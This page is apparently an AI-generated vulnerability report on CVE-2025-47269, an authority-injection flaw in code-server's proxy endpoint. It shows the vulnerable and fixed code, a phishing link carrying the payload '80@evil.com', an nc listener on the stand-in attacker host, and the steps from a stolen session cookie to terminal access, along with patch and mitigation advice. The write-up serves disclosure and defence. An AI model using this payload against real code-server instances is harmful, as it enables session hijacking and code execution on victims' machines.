CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2025-47269

Proxy to Pwnage: Hijacking Code-Server via Authority Injection

Amit Schendel
Amit Schendel
Senior Security Researcher

Feb 21, 2026·6 min read·82 visits

Executive Summary (TL;DR)

The `/proxy` endpoint in `code-server` blindly interpolated user input into a destination URL. Attackers can pass `80@evil.com` as the port, tricking the server into treating the original destination IP as a username and sending the request (plus session cookies) to `evil.com`. Patch: 4.99.4.

A high-severity vulnerability in `code-server`'s proxy endpoint allows unauthenticated attackers to exfiltrate active session tokens. By injecting URI authority delimiters into the port parameter, attackers can force the internal proxy to redirect requests—and the victim's cookies—to a malicious domain. This leads to full account takeover and subsequent Remote Code Execution (RCE) on the host machine.

The Hook: Your IDE is Now a Spy

We all love code-server. It’s the dream: VS Code running on a beefy remote server, accessible from your iPad or a Chromebook. It’s productivity nirvana. But whenever you bridge the gap between "local development tool" and "web application," you invite demons.

One of the most useful features of code-server is its built-in proxy. Say you're building a React app on port 3000 of the remote server. You can't access localhost:3000 because, well, it's not your localhost. So code-server provides a handy endpoint: /proxy/3000/. It takes that request, forwards it to localhost:3000 on the server, and pipes the response back to your browser. Magic.

But here is the catch: that proxy operates with the full trust of your authenticated session. If someone could trick that proxy into talking to their server instead of localhost, they wouldn't just get a web request. They would get your request headers. Including your code-server-session cookie. And once they have that cookie, they aren't just reading your code; they are you. They have a terminal. They have root (or at least your user permissions). Game over.

The Flaw: A Tale of Untrusted Strings

The vulnerability lies in how code-server constructed the URL to proxy the request to. In the file src/node/routes/pathProxy.ts, the application takes the port number provided in the URL path (e.g., /proxy/8080) and interpolates it directly into a string template.

The developers made a classic assumption: "A port is a number." In a perfect world, users behave, and ports are integers between 1 and 65535. But we don't live in a perfect world; we live in a world where security researchers drink too much coffee and type weird characters into URL bars.

Because there was no validation that the port parameter was actually a number, it was treated as a raw string. This allowed for URI Authority Injection. By injecting the @ symbol, an attacker can fundamentally change how the underlying HTTP library parses the destination URL. It transforms what the developer thought was a destination host into a credential string, and redirects the actual traffic to a new host entirely controlled by the attacker.

The Code: The Smoking Gun

Let's look at the diff. It’s painful in its simplicity. This is the code that ran every time you hit /proxy/:port.

The Vulnerable Code (Pre-4.99.4)

// src/node/routes/pathProxy.ts
const getProxyTarget = (req: Request, opts?: ProxyOptions): string => {
  const base = (req as any).base || ""
  // 💀 FATAL ERROR: Direct string interpolation of user input
  return `http://0.0.0.0:${req.params.port}${opts?.proxyBasePath || ""}/${req.originalUrl.slice(base.length)}`
}

See that ${req.params.port}? That is the kill zone. If I send a request to /proxy/80, it builds http://0.0.0.0:80. Safe.

But if I send a request to /proxy/test@evil.com? The string becomes: http://0.0.0.0:test@evil.com/...

To a URL parser, this doesn't look like "connect to 0.0.0.0 on port test@evil.com". It looks like:

  • Scheme: http
  • User: 0.0.0.0
  • Password: test
  • Host: evil.com

The proxy happily connects to evil.com, authenticating as user 0.0.0.0, and hands over the payload.

The Fix

The patch (Commit 47d6d3a) introduces sanity. It forces the port to be an integer. If you try to pass an email address or a domain name, parseInt creates a valid number or throws a fit, and the exploit dies.

const getProxyTarget = (req: Request, opts?: ProxyOptions): string => {
  const base = (req as any).base || ""
  let port: number
  try {
    // 🛡️ SANITY CHECK: Ensure it's actually a number
    port = parseInt(req.params.port, 10)
  } catch (err) {
    throw new HttpError("Invalid port", HttpCode.BadRequest)
  }
  return `http://0.0.0.0:${port}${opts?.proxyBasePath || ""}/${req.originalUrl.slice(base.length)}`
}

The Exploit: Phishing for Cookies

This vulnerability requires user interaction, but let's be honest: developers click links. Especially links that look like they belong to their own infrastructure.

The Setup

  1. Attacker Server: I set up a simple HTTP listener on evil.com that logs all headers.
  2. The Bait: I know you use code-server at vscode.corp-victim.com. I craft a malicious link: https://vscode.corp-victim.com/proxy/80@evil.com/

The Execution

  1. I send you a Slack message: "Hey, can you check why the dev server is throwing 500s? https://vscode.corp-victim.com/proxy/80@evil.com/".
  2. You see the domain vscode.corp-victim.com. You trust it. You are already logged in. You click it.
  3. Your browser sends a GET request to your code-server. It includes your strictly scoped SameSite cookies because you are visiting the legitimate domain.
  4. code-server receives the request. The router sees the port parameter is 80@evil.com.
  5. It constructs the target: http://0.0.0.0:80@evil.com/.
  6. code-server acts as a proxy. It takes your original request headers—including your session cookie—and forwards them to the target host.
  7. Because of the URL parsing quirk, the target host is evil.com.

The Loot

My nc -lvnp 80 listener on evil.com lights up:

GET / HTTP/1.1
Host: evil.com
Cookie: code-server-session=s%3A_7K...<THE_GOLDEN_TICKET>...
...

I copy that cookie. I open my browser. I paste it into my console. I refresh vscode.corp-victim.com. I am now in your IDE. I open a terminal. whoami. I own your cloud instance.

The Fix: Integer or GTFO

The mitigation here is textbook input validation. Never trust user input to be what you expect it to be. If you expect a number, cast it to a number. If it fails the cast, reject the request.

If you are running code-server versions older than 4.99.4, you are vulnerable. The fix was released in May 2025. You need to update immediately.

If you cannot update (why?), you could theoretically mitigate this with a WAF rule that blocks @ symbols in the URL path for /proxy/ endpoints, but that's a band-aid on a bullet wound. Just update the binary.

> [!NOTE] > This is a reminder that "Internal" proxies are rarely just internal if the input controlling them comes from the outside. The code-server team responded quickly, but the pattern of "URL construction via string concatenation" remains a prevalent sin in the industry.

Official Patches

CoderOfficial Release v4.99.4

Fix Analysis (1)

Technical Appendix

CVSS Score
8.3/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L
EPSS Probability
0.06%
Top 81% most exploited

Affected Systems

code-server < 4.99.4

Affected Versions Detail

Product
Affected Versions
Fixed Version
code-server
Coder
< 4.99.44.99.4
AttributeDetail
CWE IDCWE-441
Attack VectorNetwork (AV:N)
CVSS8.3 (High)
ImpactSession Hijacking / RCE
Exploit StatusPoC Available
KEV StatusNot Listed

MITRE ATT&CK Mapping

T1557Adversary-in-the-Middle
Credential Access
T1190Exploit Public-Facing Application
Initial Access
T1539Steal Web Session Cookie
Credential Access
CWE-441
Unintended Proxy or Intermediary ('Confused Deputy')

The software acts as an intermediary (proxy) but fails to properly validate the destination, allowing an attacker to access unauthorized resources or exfiltrate data.

Known Exploits & Detection

GHSAAdvisory containing technical details and PoC vector
NucleiDetection Template Available

Vulnerability Timeline

Fix commit merged
2025-05-02
GHSA Advisory Published
2025-05-09
CVE Published
2025-05-09

References & Sources

  • [1]GHSA-p483-wpfp-42cj
  • [2]NVD - CVE-2025-47269

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•1 day ago•GHSA-7PPR-R889-MCF2
7.5

GHSA-7PPR-R889-MCF2: Unbounded WebSocket Message Aggregation in http4s-blaze-server leads to Denial of Service

An uncontrolled resource consumption vulnerability exists in the Scala-based http4s-blaze-server package of the http4s/blaze library. The vulnerability allows remote, unauthenticated attackers to cause an Out of Memory Error (OOM) and JVM crash by streaming a continuous sequence of small or empty WebSocket continuation frames with the FIN bit set to 0. This bypasses typical payload size checks because of the JVM's per-object allocation overhead, leading to rapid heap exhaustion with minimal network bandwidth.

Alon Barad
Alon Barad
7 views•5 min read
•2 days ago•GHSA-95CV-R8X4-VH75
7.6

GHSA-95cv-r8x4-vh75: Path Traversal Vulnerability in OpenList Batch Rename Handler

A critical path traversal vulnerability has been identified in the OpenList Go-based backend package. The vulnerability exists within the batch rename handler because the application does not validate the source filename parameter before constructing filesystems paths. This omission allows authenticated users to escape their designated directory and rename files in sibling paths.

Amit Schendel
Amit Schendel
8 views•7 min read
•2 days ago•GHSA-P6PH-3JX2-3337
4.3

GHSA-P6PH-3JX2-3337: Horizontal Privilege Escalation and Metadata Information Disclosure via Bleve Search in OpenList

OpenList version 4.2.3 and prior is vulnerable to an authorization bypass and metadata leakage. When configured with the Bleve search engine backend, OpenList fails to perform separator-aware path matching when validating tenant containment. This allows authenticated users to access sibling directories sharing similar name prefixes. Furthermore, the search backend returns unfiltered global result counts, leaking existence verification data of unauthorized files via side-channel analysis.

Amit Schendel
Amit Schendel
8 views•5 min read
•2 days ago•GHSA-86CX-WWF4-PHQ4
6.5

GHSA-86cx-wwf4-phq4: Path Prefix Confusion Authorization Bypass in OpenList

An authorization bypass vulnerability in OpenList version 4.2.3 and below allows authenticated users to read arbitrary files outside of their designated base directories due to an insecure path prefix check using Go's standard strings.HasPrefix function.

Amit Schendel
Amit Schendel
7 views•6 min read
•2 days ago•CVE-2026-16584
7.0

CVE-2026-16584: Security Policy Bypass in AWS API MCP Server via Startup Initialization Failure

A security policy bypass vulnerability exists in the AWS API MCP Server (awslabs-aws-api-mcp-server) from version 0.2.13 through 1.3.46. When the server fails to load the read-only operations index during startup (due to transient network failures, file permission issues, or other exceptions), it logs a warning but continues running in an insecure, degraded state. Under this condition, the security policy engine fails open, silently skipping all subsequent security checks and consent prompts for the lifetime of the process. This permits unauthorized mutating AWS CLI commands to execute via indirect prompt injection attacks.

Amit Schendel
Amit Schendel
12 views•7 min read
•2 days ago•GHSA-6V4M-FW66-8R4X
6.5

GHSA-6V4M-FW66-8R4X: Path Disclosure and Shell Expansion Bypass in Shescape

An incomplete escaping vulnerability in the npm package 'shescape' allows unauthenticated users to trigger dynamic shell expansions, absolute path disclosure, and command block break-outs on Unix and Windows systems.

Alon Barad
Alon Barad
6 views•7 min read